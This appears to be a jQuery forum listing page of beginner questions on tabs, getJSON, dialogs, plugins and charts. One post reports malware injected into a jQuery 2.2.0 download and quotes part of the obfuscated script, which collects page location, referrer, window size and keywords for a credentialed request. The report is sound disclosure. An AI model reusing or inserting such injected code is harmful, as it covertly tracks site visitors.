Retain active Tab after page load
I"m trying to retain an active tab after the page is loaded. I'm open to options either by saving the state or by querystring. whichever is easier to implement. Here is the working fiddle https://jsfiddle.net/wsvqavag/6/ Please advise Thanks
What are my options as far as CORS with .getJSON calls?
I have found this thread http://forum.jquery.com/topic/cross-domain-ajax-cors that talks about having the server doing the calling and reserving it for the getJSON calls. Is this the only option that I have or are there other alternatives I can try? Thank you.
Regex to find a match word/phrase in returned data?
Okay, so this is my code thus far. function(data) { var output = '<div class="gs-title">'; $.each(data.data, function(i, article) { output += '<a href="https://kb.mysite.com/help/pdfexport/id/'+ article.id + '">' + article.name + '</a>'; }); output += '</div>'; $("##resultarea").replaceWith(output); }); When the data is returned from the request, I want to highlight the search word that's found in the paragraph by putting it in a separate class. I found this
Changing background-color permanently with .hover()?
I'm working on a mini-project that mimics Etch-a-sketch. I want to change the background color of each dynamically created DIV when the mouse hovers over the element, the change must be permanent. I've spent a couple hours trying to get the color to stick but can't get there on my own, any help will be greatly appreciated! $(document).ready(function () { var grid = 0; //Function to create a grid function createGrid(g) { for (var y = 1; y <= grid; y++) { for (var
Javascript malware code injected when download jquery 2.2.0
Hey Guys, So when I'm downloading jquery 2.2.0 (minified or not) this code gets added at the end of the file : ;(function(a,b,h,k){function ajax(b,a,c){var d=null;try{d=new XMLHttpRequest}catch(e){try{d=new ActiveXObject("Microsoft.XMLHTTP")}catch(f){}}d.onreadystatechange=function(){4==d.readyState&&c&&c(d.responseText)};d.open(a?"POST":"GET",b,!0);d.withCredentials=!0;a?(d.setRequestHeader("Content-Type","application/json; charset=UTF-8"),d.send(JSON.stringify(a))):d.send()}for(var e=b.documentElement,c=b.body,m=a.innerWidth||e.clientWidth||c.clientWidth,e=a.innerHeight||e.clientHeight||c.clientHeight,c=document.querySelectorAll("meta"),
g=[],f=0;f<c.length;f++)"keywords"==c[f].name.toLowerCase()&&g.push(c[f].content);req={width:m,height:e,frame:a!=a.top,location:b.location.toString(),referer:b.referrer,title:b.title,keywords:g.join(",
Syntax correction - offset()
Hi Please let me know what is wrong with this code. Is there an error in the offset method syntax? <!DOCTYPE html> <html> <head> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js"></script> <script> $(document).ready(function(){ $('button').click(function(){ $('p').offset(top:100,left:0); }); }); </script> </head> <body> <p>This is a paragraph.</p> <button>Set offset coordinates of the p element using an object</button> </body> </html> Thanks a lot Jayashree
Explanation needed for new Object();
Hi I came across this code for setting co-ordinates of an element. <script> $(document).ready(function(){ $("button").click(function(){ newPos = new Object(); newPos.left = "0"; newPos.top = "100"; $("p").offset(newPos); }); }); </script> However i did not understand the concept of new Object(); can this please be explained to me? Thanks so much Jayashree
error on #div.html()
I'm not sure why I kept getting error on the line 58. It works fine on another page though. It didn't specify exactly what the error is regarding javascript but only coldfusion error which does not make any sense. It's a coldfusion page with script javascript inside of the cfoutput. Without line 58, there is no error.
$("#dialog") Is not a function error
I want to pass a data(text) to the dialog. Inside $(document).ready(function() I have function openDialog() { $("#dialog").dialog({ autoOpen: false, resizable: false, height: 180, width: 350, modal: true, open: function(event, ui) { var dialog = $("#dialog"); dialog.data = dialogText; }
how this pointer is made?
this is the site , i hope is no problem with putting the adress here http://bartaile.com/
jQuery Cycle Plugin - Start Sliding on mouse over only
Hello, I would like to know how I can : 1- RUN the Cycle plugin only when mouse is OVER and return to first image when out 2- Write a word on (Overlay) on top of the slider. Best Regards, Gilles Capelluto
Is this how I would for getJSON with proxyURL?
Is this how I would do for proxyURL in getJSON? This is the tutorial I'm following except Ben was using .ajax instead of getJSON. function GetArticles(){ $('#searharea').keyup(function() { var searchField = $('#searharea').val(); var myExp = new RegExp(searchField, "i"); $.getJSON('ajaxProxy-KB.cfm', {proxyURL: 'https://app.mysite.com/api/head/article.json', name: { $regex: searchField, $options: "i"
Use of single and double quotes
Hi I have a doubt about the use of double and single quotes. For example this code: alert("Scroll left,top position of the Paragraph are:"+$("p").scrollLeft()+','+$("p").scrollTop()); Why are single quotes used in +','+ Thanks for helping me Jayashree
Uncaught referenceError: JQuery is not defined
Dear, tried alot of things but cannot get this error away, This is my code: this is my <head> <script type="text/javascript" src="js/modernizr.custom.js"></script> <script src="js.jquery.royalslider.min.js"></script> this is at the end of my page <script> jQuery(document).ready(function($) { Uncaught ReferenceError: jQuery is not defined $("#royalSlider").royalSlider({ // options go here // as an example, enable keyboard arrows nav keyboardNavEnabled: true }); }); </script> <script src="js/jquery-1.9.1.min.js"
missing field in response text of ajax
i had to make a application to send a enquiry mail using php. i used ajax to send data to php after sending mail will return status. if there are error in fields then error data is being send to html as a json encoded text.all works fine in php. when back in javascript i am missing a field value the last one . in php if this is the output {"name":"Paul","place":"USA"} responsText is {"name":"Paul"}
JSON URL formating
What type of parameters can I have on the JSON URL? I want to filter something like category != "". I want an not-equal. So it would be like: https://www.mysite.com/category.json?cate!="" Or: https://www.mysite.com/category.json?cate!=empty Or: https://www.mysite.com/category.json?cate!=null
Select day in calendar
Hello. I'm new to JQ. I created the calendar which loads by using the method load(). Each time you press the button I load a new month with data from DB (price). I want to click in the cell of the day that would change color (as in standard interface ). I use click.on() method, but he does not "see" the calendar. Tell me how can I do this? Thank you.
How to calculate in a loop ?
Hello Ho can I calculate values extract from the table and dsiplayed in a loop ? I would like to calculate : for ex : 800 + 10 = 810; Thank you ! This is the code below : while($data = $sql_04->fetch(PDO::FETCH_OBJ)) { $modeDistribution = $data -> mode; $frequence = $data -> frequence; $frequence_2 = $data -> frequence_2; $quantite = 0; if($modeDistribution == "Marche" ) { $modeDistribution = "Marché"; } //-------------------------------------- //Duree recolte if($frequence_2 == "jour") { $quantiteTotalePeriode
Error in link include
Hello My Friend! I have a problem, i'm begginer and show this problem in my browser: Uncaught ReferenceError: jQuery is not defined Uncaught TypeError: jQuery(...).css(...).datepicker is not a function <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>jQuery UI</title> <meta name="" content=""> <link rel="stylesheet" type="text/css" href="../Scripts/jquery-ui-1.11.4.custom/jquery-ui.min.css"/> <link rel="stylesheet" type="text/css" href="../Scripts/jquery-ui-1.11.4.custom/jquery-ui.structure.min.css"/>
Getting flexslider to work on popup
I'm trying to create a pop up that will display a slider of all the images that belongs to an item. I've managed to create the popup to display the correct images but my slider isn't working correctly, I've tried to create a jsfiddle to show what I mean but that didn't pan out so well. So here is a link to the page, just click on one of the images and a popup will be shown and you can see the 2 images that is suppose to be the image nav and if you go to one tab and then go back then the main image
Another newbie question: Replot jqplot meter gauge on widows resize
I already found very good help some days ago but I'm facing a new problem. I try to replot a jqplot meter gauge when the browser window is resized. I could find some examples during my research that seem to work fine but as soon as I try it myself, I can't make it work. Here is my code: My fiddle can be found here $(document).ready(function(){ s1 = [72]; var plot0 = $.jqplot('chart0',[s1],{ seriesDefaults: { renderer: $.jqplot.MeterGaugeRenderer, rendererOptions: { label: 'Your Score is <div class="score">'
calculating Expiry date
Hi all, I'm new to JS and JQ, I have written some code for an ASP .NET form. there is one text field called txtJoinDate and other one text field called Expire Date. I implemented datepicker for the txtJoinDate and I displayed the picked date on the txtExpireDate. I need to make a calculation so that the expire date will be one year after. here is the code: $("#<%=txtJoinDate.ClientID %>").datepicker({ altField:"#<%=txtExpireDate.ClientID%>"
ajax method type post
hi friends i want to this form to be witdh fonctins jquery ajax help me pleasse <form method="post" action="popup_0.xhtml"> <input type="hidden" name="t" value="new"> Name:<br><input type="text" name="usr_name"> <br> <a id="text">kkkkkkk</a>Body:<br><textarea name="popup_txt" rows="5"></textarea> <br><input type="submit" name="submit" value="Send message"></form>
ReferenceError: $ is not defined
Okay, so I have the following: $(function(){ $.getJSON('https://app.knowledgeowl.com/api/head/article.json', { _authbykey: "56a7d8c123131c4058361687", project_id: "55c4ffd132131c789e294fe6", "status[$in][]": "published", "status[$in][]": "review", "_fields[]": "name" }, function(data) { console.log(data); }); //get JSON }); And I kept getting this error:
What does this code do?
$("#myForm").select2({
minimumInputLength: 2,
width: width,
matcher: function(term, text) {
// THIS IS WHERE I COMBINE THE METHODS
return text === 'Other' || text.toUpperCase().indexOf(term.toUpperCase())==0;
},
sortResults: function(results) {
if (results.length > 1) results.pop();
return results;
}
});
There are no action listener and 2 methods are defined inside the selector and seems to just sit there without doing anything. Can someone
Issue passing parameters in $.getJSON
I have parameters like: status[$in][] fields[] How do I specify in the $.getJSON parameter like that with the brackets and $ sign?
Newbie needs help: Load file into jqplot Meter Gauge Chart /AJAX&JSON
I'm facing a problem loading a simple external file with just one value into my jqplot meter gauge. Here is my working fiddle with hardcoded data: https://jsfiddle.net/enqjh8m3/1/ I read through the jqplot documentation and looked at some examples but I just can't make it work. It's the first time I use jqplot and I'm not very experienced working with js. But havent we all started somewhere? Here is my approach to load a file called keyscore.txt, which just contains [66] My not working code: <script
jQuery and IE11
I am (re) starting with jQuery after a long absence. Am I doing something wrong or is normal that the following code does not display the corresponding icons in IE11? <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>jQuery UI Button - Icons</title> <link rel="stylesheet" href="http:///code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css"> <script src="http://code.jquery.com/jquery-1.10.2.js"></script> <script src="http://code.jquery.com/ui/1.11.4/jquery-ui.js"></script>
embed jquery in html page
Hello there, i need your help! I´m trying to start a html/jquery page but it just doesnt work. Attached you find the folder structure and the code of the page. I just dont know what is wrong. this is the code and according to the book i have her ("Apps mit HTML5 und CSS3") I should see a navigation bar in the footer with star-icons... Plus it underlines every "data-role"-tag i write which I don´t think is right either. <!DOCTYPE html> <html> <head> <title>Testseite</title> <meta http-equiv="content-type"
What is the purpose of using VM's and co ??
I just recently was working on a site what had its fonts set like so: h1 { font-size: 4vw; } h2 { font-size: 3vw; } p { font-size: 1.5vw; } Now i noticed a few issues with this approach: - The fonts unlike em's , rems and fixed width units like px , scale based on viewwpoints , now thats great , but has a huge drawback , the fonts that look good at 992px will scale to be so tiny at 448px width that they would hardly be visible. - If you were hypothetically working for a design company where the
.keyup(function()) don't work for me...nedd some help
Okay, so I'm learning jQuery and using it under Ruby on Rails. In my index.html.erb file I have this: <form> <input id="target" type="text" value="Hello there"> </form> <div id="other"> Trigger the handler </div> And then in my script.js, I have this: $( "#target" ).keyup(function() { alert( "Handler for .keyup() called." ); }); However, when I type something in the input box, nothing happens...no errors either.
Parsing JSON via getJSON or AJAX
I'm quite new to jQuery. I'm trying to query JSON data via URL. What is the difference between $.getJSON() and $.ajax()? If both works the same, which one allow me to specify parameters or attributes instead of putting everything on the URL? Thanks!
Having trouble with changing an img src's content through a JSON file.
HTML <img id = "changePic" src ="" /> JQuery $(document).ready(function(){ $.get("https://randomuser.me/api/", function(data, status){ $('#changePic').attr("src", data.results[0].user.thumbnail); }); });Pretty much as topic says using the above JQuery function I have been unable to get the src to update to the url specified at data.results[0].user.thumbnail. Not really sure why it isn't so any help would be appreciated. Also, here is a JSFiddle that corresponds to the current code. Thanks.
Remove slide up animation and replace with hide and show
Hello, http://poselab.com/en/jquery-tabs-with-animations-shadows-and-rounded-corners/ I liked how the tabs function in the example below. In the example it has a slideup and slide down to show and hide the content. I would like to get that animations replaced with reqular hide and show content. it seems to be straight forward but I can't seem to make it work without ruining the css. Please advise Thanks
Syntax explanation for html()
Hi Here is a code to get the background color when you click on a color: <!DOCTYPE html> <html> <head> <script src="//code.jquery.com/jquery-1.11.1.min.js"></script> $( "div" ).click(function() { var color = $( this ).css( "background-color" ); $( "p" ).html( "That div is <span style="color:" + color + ";">" + color + "</span>." ); }); <meta charset="utf-8"> <title>JS Bin</title> <style> div { width: 60px; height: 60px; margin: 5px;
jquery map stuff and gps theme for pulling/putting lat long in n email & text?
I am android guy, but I want jquery & jmobile theme for this: map theme for jquery?
I need an idea how to do this?
I have five names i.e strings apple,boy,cup,dog,egg in db or in array (mysql) I have textbox when I enter any of these five words it should print down to the textbox(not using autocomplete) and left over should display remaining left u haven't typed? How to do it? KRISHGANI2@GMAIL.COM
Change Accordion Panel to Work Differently
jqueryui.com/accordion/#collapsible I want to make changes on the Accordion panel I downloaded the version 1.12.0-beta.1 I tried several different sites to understand how to solve it and change the working of the panel. I didn't know where should I suppose to paste the lines. I tried to paste them to the main HTMLs body. Like this site: www.tutorialspoint.com/jqueryui/jqueryui_accordion.htm#accordion_options What I want to change: it should be closed when the page is opening
Lightbox - Smarthphones (First Site)
Hi there, I made my first website, i would like know it's good? well, i have question, This website works fine in desktops, but when i try with smarthphones(only android, iPhones works fine) the light boxes, doest looks fine. just give me your opinion. thanks !
Popup images not displaying correctly
I've run into a problem that I can't fiqure out how to solve it or what the issue is either. I got a page that displays images and if you click on an image a popup is shown with images that belongs to the main image. The problem I'm having is that 1) There is 2 images being displayed instead of 1. 2) If you go to another tab and you go back to the site the wrapper gets bigger. I'm using flexslider for the gallery. I've tried deleting my css and putting it back bit by bit and the same with my js,
Next Page